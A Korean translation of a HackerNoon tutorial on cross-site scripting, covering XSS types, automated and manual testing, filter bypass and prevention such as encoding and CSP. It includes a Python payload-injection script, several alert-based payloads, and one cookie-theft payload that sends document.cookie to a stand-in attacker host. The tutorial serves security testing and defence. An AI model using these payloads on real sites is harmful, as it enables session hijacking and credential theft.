paint-brush
XSS(교차 사이트 스크립팅) 취약점: 테스트 전략 및 예~에 의해@shad0wpuppet
25,371 판독값
25,371 판독값

XSS(교차 사이트 스크립팅) 취약점: 테스트 전략 및 예

~에 의해 Konstantin Sakhchinskiy9m2024/01/31
Read on Terminal Reader
Read this story w/o Javascript

너무 오래; 읽다

XSS는 웹 앱에 지속적인 위협을 가해 데이터 침해와 사용자 신뢰를 위협합니다. 효과적인 완화를 위해서는 XSS 유형과 테스트 방법을 이해하는 것이 중요합니다. 입력 유효성 검사, 출력 인코딩, CSP 구현과 같은 방지 기술은 앱 보안을 향상시킵니다. 보안 관행과 협업의 우선순위를 높임으로써 팀은 XSS로부터 앱을 보호하고 적절한 웹 앱 보안을 보장할 수 있습니다.
featured image - XSS(교차 사이트 스크립팅) 취약점: 테스트 전략 및 예
Konstantin Sakhchinskiy HackerNoon profile picture
0-item

내가 본 통계와 경험에 따르면 XSS 취약점은 계속해서 웹 애플리케이션에 만연한 위협이 되어 데이터 도난, 세션 하이재킹 및 웹 사이트 문제의 위험을 초래하고 있습니다. 저는 이 취약성 유형을 연구하는 데 더 많은 시간을 할애하고 최소한 이 개요와 같은 기본 지식을 공유하여 많은 QA 및 개발 전문가가 이 문제에 대해 앱을 테스트할 수 있는 몇 가지 방법을 염두에 둘 수 있기로 결정했습니다. 이 기사에서는 다양한 유형의 XSS, 테스트 방법론 및 자동화 접근 방식을 살펴보고 효과적인 침투 테스트를 위한 몇 가지 예와 페이로드를 제공합니다.


XSS(교차 사이트 스크립팅)를 사용 하면 공격자가 다른 사용자가 보는 웹 페이지에 악성 스크립트를 삽입하여 클라이언트 측 코드 실행의 취약점을 악용할 수 있습니다. 다양한 유형의 XSS 취약점을 이해하고 적절한 테스트 전략을 사용하는 것은 이러한 공격으로부터 보호되는 안전한 웹 앱을 구축하는 데 중요합니다.


XSS 공격은 신뢰할 수 없는 사용자 입력이 부적절하게 처리되어 웹 애플리케이션 내에서 실행될 때 발생하며, 이를 통해 공격자는 다른 사용자의 브라우저 컨텍스트에 악성 스크립트를 삽입하고 실행할 수 있습니다.

XSS 취약점의 유형

반사된 XSS

사용자가 제공한 데이터가 적절한 유효성 검사 없이 응답에 다시 표시될 때 발생합니다.

예: <script>alert('XSS_DEMO')</script> URL 매개변수를 통해 삽입됩니다.


이러한 악용은 웹 애플리케이션이 적절한 삭제 작업 없이 확인되지 않은 사용자 입력을 사용자 브라우저에 반영할 때 발생합니다. 이 공격에서 공격자는 피해자가 이를 클릭하면 취약한 웹 페이지의 컨텍스트 내에서 실행되는 스크립트 코드가 포함된 악성 URL을 제작합니다. 악성 스크립트는 서버에 저장되지 않고 사용자의 입력을 직접 반영합니다. 반영된 XSS 취약점은 종종 피싱 공격에 활용되거나 사용자의 검색 환경을 조작하는 데 활용됩니다. 쿠키 도난부터 세션 하이재킹까지 영향이 심각할 수 있습니다.

저장된 XSS

악성 스크립트는 서버에 영구적으로 저장되며, 다른 사용자가 접근할 경우 실행됩니다.

예: 포럼 게시물이나 소셜 네트워크 프로필 페이지의 댓글/게시물에 저장된 악성 스크립트.


영구 XSS라고도 알려진 이 공격은 공격자가 웹 애플리케이션에 악성 스크립트 코드를 삽입한 다음 서버 측에 저장하는 경우 발생합니다. 이 삽입된 스크립트는 나중에 다른 사용자가 취약한 페이지에 액세스할 때마다 검색되어 실행됩니다. 저장된 XSS 공격은 삽입된 스크립트가 시간이 지나도 지속되어 잠재적으로 여러 사용자에게 영향을 미치고 광범위한 악용으로 이어지기 때문에 특히 위험합니다. 공격자는 일반적으로 댓글, 포럼 게시물, 웹 페이지나 프로필 필드에 표시되는 엔터티 이름과 같은 사용자 생성 콘텐츠를 표적으로 삼아 악성 페이로드를 실행합니다. 저장된 XSS의 결과에는 데이터 도난, 계정 탈취, 웹사이트 훼손 등이 포함될 수 있으며, 이는 사용자와 영향을 받는 조직 모두에 심각한 위험을 초래할 수 있습니다.

DOM 기반 XSS

스크립트 실행은 클라이언트 측의 DOM 조작에 의존합니다.

예: JS 코드는 URL 해시에서 사용자 제어 데이터를 검색하고 실행합니다.


웹 애플리케이션이 신뢰할 수 없는 사용자 입력을 기반으로 DOM을 안전하지 않은 방식으로 동적으로 조작할 때 발생합니다. 서버 측 처리를 포함하는 기존 XSS 공격과 달리 DOM 기반 XSS는 전적으로 클라이언트 측에 나타납니다. 공격자는 클라이언트 측 스크립트를 조작하여 피해자의 브라우저 내에서 임의의 코드를 실행함으로써 DOM 기반 XSS를 악용합니다. 이러한 유형의 XSS는 취약성이 클라이언트 측 코드 내에 존재하고 서버 측 테스트 중에 명확하지 않을 수 있으므로 감지하고 완화하기가 더 어려운 경우가 많습니다. DOM 기반 XSS 공격은 세션 하이재킹, 데이터 유출, 사용자를 대신한 무단 작업 등 다양한 결과를 초래할 수 있으므로 클라이언트 측 보안 조치와 세심한 웹 앱 개발 방식의 중요성이 강조됩니다.

자체 XSS

공격자가 사용자를 속여 브라우저 내에서 악성 코드를 실행하도록 하는 사회 공학 공격입니다. 여러 사용자를 대상으로 하는 기존 XSS 공격과 달리 Self-XSS는 사용자의 신뢰를 이용하여 세션 내에서 코드를 실행합니다. 일반적으로 공격자는 기능 잠금 해제나 보상 획득과 같은 무해한 작업으로 가장하여 겉보기에 무해해 보이는 JS 코드를 브라우저의 개발자 콘솔이나 웹사이트의 일부 필드에 붙여넣도록 피해자를 유인합니다. 일단 실행되면 주입된 코드는 잠재적으로 피해자의 계정을 손상시키거나 민감한 정보를 훔치거나 피해자를 대신하여 무단 작업을 수행할 수 있습니다. 피해자의 세션으로 제한되어 있음에도 불구하고 Self-XSS는 여전히 위협으로 남아 있으며 이러한 사기성 전술을 인식하고 방지하기 위한 사용자 교육 및 인식의 중요성을 강조합니다.


테스트

오토메이션

  • XSS 자동 스캔을 위해 OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix 등과 같은 보안 테스트 도구를 사용하십시오.
  • 애플리케이션을 크롤링하고, 입력 벡터를 식별하고, 페이로드를 삽입하여 XSS 취약점을 탐지하는 도구를 구성합니다.
  • 식별된 취약점에 대한 스캔 결과를 분석하고, 수동으로 재현하고, PoC를 생성하고, 잠재적인 영향을 이해하고, 문제 해결의 우선순위를 지정합니다.

일부 스크립트를 작성할 수 있습니다. 나는 Python을 선호합니다. 예를 들면 다음과 같습니다.

 import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")

수동 테스트

  • XSS 주입에 취약한 입력 벡터를 식별합니다(예: 입력 필드, URL 매개변수). 크롤러와 스니퍼를 사용하여 벡터를 보다 효율적으로 식별할 수 있습니다.
  • XSS 취약점(예: 스크립트 태그, 이벤트 핸들러)을 악용하기 위한 페이로드를 제작합니다.

응답을 분석하여 페이로드가 반영되거나 실행되는지 확인합니다. PoC를 생성하고, 잠재적인 영향을 이해하고, 문제 해결의 우선순위를 정하세요.


단계:

  1. 앱의 입력 필드에 스크립트 태그와 일부 JS 코드를 입력하세요.

    예를 들어 기본 XSS 페이로드는 다음과 같습니다.

     <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
  2. 입력을 제출하고 스크립트가 실행되는지 확인하세요.

  3. 그렇다면 해당 응용 프로그램은 XSS 공격에 취약합니다.

  4. 스크립트가 실행되지 않으면 <img> 또는 <iframe> 과 같은 다른 HTML 태그를 추가하여 입력을 수정하고 페이지에 반영되는지 확인하세요 . 예를 들어 (이 방법은 거의 항상 저에게 효과적입니다):

    <b>t</b>#`"/*—est

  5. 웹 앱 URL이나 사용자 이름, 업로드된 파일 이름 또는 변경할 수 있는 앱 페이지에 표시될 텍스트의 매개변수를 쿼리하는 스크립트를 추가할 수 있습니다.

  6. 입력에 대한 프런트엔드 검증에 유의하세요. 항상 직접 요청(Postman, Burp 또는 유사한 도구 사용)을 사용하여 값을 제출해 보세요.

  7. 때로는 페이지에 눈에 띄는 변경 사항이 표시되지 않을 수도 있지만 `"/*— 와 같은 일부 기호로 인해 페이지의 JS/HTML이 손상될 수 있으므로 개발 도구에서 브라우저 콘솔을 확인하고 콘솔에 다음과 같은 경고가 표시될 수 있습니다. XSS PoC를 얻기 위해 페이로드를 수정하는 방법에 대한 힌트를 얻으세요.


퍼징 및 페이로드 목록을 사용하십시오. 가능하면 이 접근 방식을 자동화하거나 특수 도구를 사용하십시오.

개인적으로 저는 여기에서 페이로드와 정보를 사용하는 것을 좋아합니다. 제 생각에는 매우 유용한 리소스입니다.

블랙박스 테스트

  • XSS 주입에 취약한 입력 벡터 식별.
  • 영향을 평가하고 취약한 지점을 식별하기 위해 XSS 페이로드를 제작하고 주입합니다.

그레이박스 테스트

  • 잠재적인 XSS에 대한 소스 코드 및 삭제 절차를 분석합니다.
  • 대상 테스트를 위해 애플리케이션에 대한 부분적인 지식을 활용합니다.

XSS 악용

XSS PoC

  • 임의의 JS를 실행하는 페이로드를 주입하여 XSS 취약점을 확인하는 방법을 보여줍니다.
  • Chrome 브라우저 버전 92 이후에 print() 기능과 같은 대체 페이로드를 활용합니다.

고급 XSS 공격

  • 쿠키를 훔치려면 세션 하이재킹을 수행하거나 임의 코드를 실행하세요.
  • 사용자를 가장하거나 자격 증명을 캡처하거나 웹 페이지를 훼손하려면

XSS 필터 우회

  • 태그 속성 값 삽입, 난독화, HPP(HTTP 매개변수 오염) 등 다양한 기술을 통해 일반적인 XSS 필터를 회피합니다.
  • 예제 시나리오에서는 필터 메커니즘을 우회하여 XSS 페이로드를 성공적으로 실행하는 방법을 보여줍니다.

예방 기술

입력 검증 및 출력 인코딩

  • 사용자 제공 데이터가 예상 형식에 맞고 악성 코드가 포함되어 있지 않은지 확인하기 위해 입력 유효성 검사 메커니즘(FE 및 BE)을 구현합니다.
  • 사용자 입력을 처리하거나 저장하기 전에 서버 측에서 모든 사용자 입력을 삭제하고 검증합니다.
  • 브라우저에서 활성 콘텐츠로 해석되지 않도록 출력 데이터를 적절하게 인코딩합니다.
  • 출력 데이터의 컨텍스트를 기반으로 HTML 엔터티 인코딩, URL 인코딩, JS 이스케이프 등의 인코딩 기술을 활용합니다.

콘텐츠 보안 정책(CSP)

  • CSP(콘텐츠 보안 정책) 헤더를 구현하여 웹 애플리케이션 내의 스크립트, 스타일시트 및 기타 리소스 실행과 관련된 보안 정책을 정의하고 시행합니다. CSP를 사용하면 관리자는 스크립트가 로드될 수 있는 소스를 제한하여 승인되지 않은 스크립트의 실행을 방지하여 XSS 공격의 위험을 완화할 수 있습니다.
  • 신뢰할 수 있는 도메인, 인라인 스크립트 및 스타일 사용, 스크립트 임시값을 지정하도록 CSP 지시문을 구성하여 XSS에 대한 공격 표면을 효과적으로 줄입니다.

상황별 출력 인코딩

출력 데이터가 렌더링되는 컨텍스트를 기반으로 데이터를 인코딩합니다. HTML, JS, CSS 및 기타 컨텍스트에 대해 다양한 인코딩 방법을 적용하여 XSS에 대한 포괄적인 보호를 보장합니다.

예를 들어 , HTML 콘텐츠에 대한 HTML 엔터티 인코딩, 인라인 스크립트 컨텍스트에 대한 JavaScript 이스케이프, 스타일 속성에 대한 CSS 이스케이프를 사용하여 스크립트 삽입을 방지하고 다양한 출력 컨텍스트에서 데이터 무결성을 유지합니다.

입력 화이트리스트 및 블랙리스트

허용 및 금지된 문자, 패턴 또는 콘텐츠 유형의 사전 정의된 허용 목록 및 거부 목록을 기반으로 사용자 입력을 필터링하고 검증하기 위해 입력 화이트리스트 및 블랙리스트를 구현합니다.

  • 화이트리스트에는 예상되는 입력 형식을 명시적으로 정의하고 이러한 사양을 준수하지 않는 입력을 거부하는 작업이 포함됩니다.
  • 블랙리스트는 알려진 악성 입력 또는 패턴을 식별하고 차단하지만 인코딩 또는 난독화 기술을 통한 회피 가능성으로 인해 효율성이 떨어질 수 있습니다 .

보안 헤더 및 삭제 라이브러리

  • X-XSS-Protection, X-Content-Type-Options 및 X-Frame-Options와 같은 보안 헤더를 사용하여 웹 앱 보안을 강화하고 XSS를 포함한 다양한 공격 벡터를 방지합니다.
  • 타사 삭제 라이브러리 및 프레임워크를 개발 스택에 통합하여 입력 검증, 출력 인코딩 및 기타 보안에 중요한 작업을 자동화합니다. 새로운 위협과 취약점을 효과적으로 해결하려면 이러한 라이브러리를 정기적으로 업데이트하고 유지 관리하세요 .

보안 개발 관행 및 보안 인식

  • 소프트웨어 개발 수명주기 전반에 걸쳐 보안 코드 작성, 철저한 코드 검토 수행, 보안 테스트 수행의 중요성을 강조하면서 개발 및 QA 팀 내에서 보안 개발 관행을 장려합니다.
  • 개발자, QA 엔지니어 및 기타 이해관계자 사이에 보안 인식 문화를 조성하여 XSS 및 기타 취약점, 악용 기술 및 예방 조치에 대한 지속적인 학습과 지식 공유를 장려합니다.
  • XSS를 효과적으로 식별, 처리 및 예방하는 데 필요한 기술과 전문 지식을 팀 구성원에게 제공하기 위해 지속적인 교육 프로그램, 과정, 세미나, 컨퍼런스 및 리소스에 투자하십시오.

XSS는 웹 앱에 지속적인 위협을 가해 데이터 침해와 사용자 신뢰를 위협합니다. 효과적인 완화를 위해서는 XSS 유형과 테스트 방법을 이해하는 것이 중요합니다. 입력 유효성 검사, 출력 인코딩, CSP 구현과 같은 방지 기술은 앱 보안을 향상시킵니다. 보안 관행과 협업의 우선순위를 높임으로써 팀은 XSS로부터 앱을 보호하고 적절한 웹 앱 보안을 보장할 수 있습니다.


초보자이고 사이버 보안 및 침투 테스트에 관심이 있거나 앱을 더욱 안전하게 만들기 위해 앱을 개선하려는 경우 다음 주제에 대한 내 기사를 읽어보세요.


XSS 및 페이로드에 대한 자세한 내용은 다음 리소스를 참조하세요.


중요한 알림:

항상 명시적인 허가를 받아 통제된 환경 내에서 침투 테스트를 수행하십시오. 이러한 윤리적 접근 방식은 보안 평가가 책임 있는 테스트 프로토콜과 일치하도록 보장하여 시스템에 대한 우발적인 손상을 방지하고 테스트 프로세스와 중요한 사이버 보안 전략 모두의 무결성을 유지합니다.